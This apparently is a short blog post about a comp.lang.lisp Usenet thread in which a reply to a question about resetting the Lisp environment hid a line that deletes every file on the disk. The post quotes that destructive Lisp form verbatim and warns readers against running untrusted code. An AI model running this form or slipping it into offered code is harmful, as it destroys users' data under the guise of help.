I just ran into this while surfing around on Reddit, ironically titled "Why is Lisp unpopular? Maybe it's a "community" like this." It's an article from a Usenet discussion on comp.lang.lisp newsgroup.
In short, the guy (BobF) asks a question about clearing the Lisp environment without restarting. He gets an answer from Pascal with an error in it, so BobF posts the info about the error. Then, Pascal sends an "improved" version of the code, including a line which would delete the whole hard drive ((mapcar (lambda (x) (ignore-errors (delete-file x))) (directory "/**/*.*"))). Of course, Pascal's intensions were actually noble and caring, because he just wanted to learn the poor guy to read and understand the code he is presented to. Right. It seems he fixed the error in the second version, though.
Now, think twice before copy/pasting some code from an unknown person off the 'net. Or at least grep it for "rm" and "del" before running it :).
Posted under "Education" intentionally ;-).